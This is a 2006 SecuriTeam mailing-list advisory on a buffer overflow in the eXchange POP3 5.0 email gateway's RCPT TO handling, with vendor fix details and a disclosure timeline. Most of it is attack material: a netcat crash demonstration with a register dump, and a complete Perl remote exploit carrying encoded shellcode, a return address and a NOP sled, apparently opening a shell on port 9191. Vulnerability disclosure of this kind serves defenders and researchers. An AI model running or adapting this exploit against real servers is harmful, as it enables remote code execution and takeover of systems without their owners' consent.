

[NT] eXchange POP3 Buffer Overflow

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2006-02/msg00022.html>

- *From:* SecuriTeam <support@xxxxxxxxxxxxxx>
 - *Date:* 7 Feb 2006 16:48:16 +0200
-

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>
-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.
<http://www.securiteam.com/maillinglist.html>

eXchange POP3 Buffer Overflow

SUMMARY

" <<http://www.exchangepop3.com/>> eXchange POP3 is an email gateway (connector) that retrieves messages from Internet POP3 email accounts (IMAP also supported) and delivers them to Exchange Server. "

Improper handling of a large buffer length allows an attacker to execute arbitrary code in eXchange POP3.

DETAILS

Vulnerable Systems:

* Exchangepop3 version 5.0 (build 050203)

eXchange POP3 is vulnerable to a buffer overflow due to a boundary error in the handling of the RCPT TO: (SMTP) command.

Sending a large buffer allows remote users to gain access to the system by setting a new Instruction Pointer to execute arbitrary code.

```
C:\>nc 127.0.0.1 25
220 aaa ESMTP
```

[NT] eXchange POP3 Buffer Overflow

```
mail [enter]
250 OK
rcpt to:<AAAAAA....("A"x4112)
we have :
eax=00000001 ebx=007334e0 ecx=41414141 edx=7c91eb94 esi=00455a38
edi=0f010001
eip=41414141 esp=0221f750 ebp=00000001 iopl=0 nv up ei pl nz ac po
nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000
efl=00010216
41414141 ?? ???
```

Vendor Status:

The vendor has issued a fix: eXchange POP3 Version 5.0 (build 060125)

Disclosure Timeline:

14/01/2006 initial vendor contact
16/01/2006 vendor received details about the vulnerability
02/02/2006 vendor released the fixed build

Exploit:

```
#!/usr/bin/perl -w
# for educational purposes only .
use IO::Socket;
if ($#ARGV<0)
{
print "\n write the target IP!! \n\n";
exit;
}
$buffer2 = "\x90"x1999999;
$mailf= "mail";
$rcptt ="rcpt to:<";
$buffer = "\x41"x4100;
$ret = "\x80\x1d\xdc\x02";
$shellcode =
"\xEB\x03\x5D\xEB\x05\xE8\xF8\xFF\xFF\xFF\x8B\xC5\x83\xC0\x11\x33".
"\xC9\x66\xB9\xC9\x01\x80\x30\x88\x40\xE2\xFA\xDD\x03\x64\x03\x7C".
"\x09\x64\x08\x88\x88\x88\x60\xC4\x89\x88\x88\x01\xCE\x74\x77\xFE".
"\x74\xE0\x06\xC6\x86\x64\x60\xD9\x89\x88\x88\x01\xCE\x4E\xE0\xBB".
"\xBA\x88\x88\xE0\xFF\xFB\xBA\xD7\xDC\x77\xDE\x4E\x01\xCE\x70\x77".
"\xFE\x74\xE0\x25\x51\x8D\x46\x60\xB8\x89\x88\x88\x01\xCE\x5A\x77".
"\xFE\x74\xE0\xFA\x76\x3B\x9E\x60\xA8\x89\x88\x88\x01\xCE\x46\x77".
"\xFE\x74\xE0\x67\x46\x68\xE8\x60\x98\x89\x88\x88\x01\xCE\x42\x77".
```

[NT] eXchange POP3 Buffer Overflow

```
"\xFE\x70\xE0\x43\x65\x74\xB3\x60\x88\x89\x88\x88\x01\xCE\x7C\x77".  
"\xFE\x70\xE0\x51\x81\x7D\x25\x60\x78\x88\x88\x88\x01\xCE\x78\x77".  
"\xFE\x70\xE0\x2C\x92\xF8\x4F\x60\x68\x88\x88\x88\x01\xCE\x64\x77".  
"\xFE\x70\xE0\x2C\x25\xA6\x61\x60\x58\x88\x88\x88\x01\xCE\x60\x77".  
"\xFE\x70\xE0\x6D\xC1\x0E\xC1\x60\x48\x88\x88\x88\x01\xCE\x6A\x77".  
"\xFE\x70\xE0\x6F\xF1\x4E\xF1\x60\x38\x88\x88\x88\x01\xCE\x5E\xBB".  
"\x77\x09\x64\x7C\x89\x88\x88\xDC\xE0\x89\x89\x88\x88\x77\xDE\x7C".  
"\xD8\xD8\xD8\xD8\xC8\xD8\xC8\xD8\x77\xDE\x78\x03\x50\xDF\xDF\xE0".  
"\x8A\x88\xAB\x6F\x03\x44\xE2\x9E\xD9\xDB\x77\xDE\x64\xDF\xDB\x77".  
"\xDE\x60\xBB\x77\xDF\xD9\xDB\x77\xDE\x6A\x03\x58\x01\xCE\x36\xE0".  
"\xEB\xE5\xEC\x88\x01\xEE\x4A\x0B\x4C\x24\x05\xB4\xAC\xBB\x48\xBB".  
"\x41\x08\x49\x9D\x23\x6A\x75\x4E\xCC\xAC\x98\xCC\x76\xCC\xAC\xB5".  
"\x01\xDC\xAC\xC0\x01\xDC\xAC\xC4\x01\xDC\xAC\xD8\x05\xCC\xAC\x98".  
"\xDC\xD8\xD9\xD9\xD9\xC9\xD9\xC1\xD9\xD9\x77\xFE\x4A\xD9\x77\xDE".  
"\x46\x03\x44\xE2\x77\x77\xB9\x77\xDE\x5A\x03\x40\x77\xFE\x36\x77".  
"\xDE\x5E\x63\x16\x77\xDE\x9C\xDE\xEC\x29\xB8\x88\x88\x88\x03\xC8".  
"\x84\x03\xF8\x94\x25\x03\xC8\x80\xD6\x4A\x8C\x88\xDB\xDD\xDE\xDF".  
"\x03\xE4\xAC\x90\x03\xCD\xB4\x03\xDC\x8D\xF0\x8B\x5D\x03\xC2\x90".  
"\x03\xD2\xA8\x8B\x55\x6B\xBA\xC1\x03\xBC\x03\x8B\x7D\xBB\x77\x74".  
"\xBB\x48\x24\xB2\x4C\xFC\x8F\x49\x47\x85\x8B\x70\x63\x7A\xB3\xF4".  
"\xAC\x9C\xFD\x69\x03\xD2\xAC\x8B\x55\xEE\x03\x84\xC3\x03\xD2\x94".  
"\x8B\x55\x03\x8C\x03\x8B\x4D\x63\x8A\xBB\x48\x03\x5D\xD7\xD6\xD5".  
"\xD3\x4A\x8C\x88";
```

```
$enter = "\x0d\x0a";  
$connect = IO::Socket::INET ->new (Proto=>"tcp",  
PeerAddr=> "$ARGV[0]",  
PeerPort=>"25"); unless ($connect) { die "cant connect" }  
print "\nExchangepop3 v5.0 remote exploit by securma
```

[NT] eXchange POP3 Buffer Overflow

```
massine\n";
print "\n+++++++www.morx.org+++++++\n";
$connect->recv($text,128);
print "$text\n";
$connect->send($mailf . $sender);
$connect->recv($text,128);
print "$text\n";
$connect->send($rcpt . $buffer . $ret . $buffer2 .
$shellcode . $sender);
print "\nsending exploit.....\n\n";
print "\ntelnet to server port 9191 ..... \n\n";
# EoF
```

ADDITIONAL INFORMATION

The information has been provided by <<mailto:securma@xxxxxxxx>> securma.
The original exploit can be found at: <<http://www.morx.org/expl5.txt>>
<http://www.morx.org/expl5.txt>

=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@xxxxxxxxxxxxxxxxx
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxxxxx

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.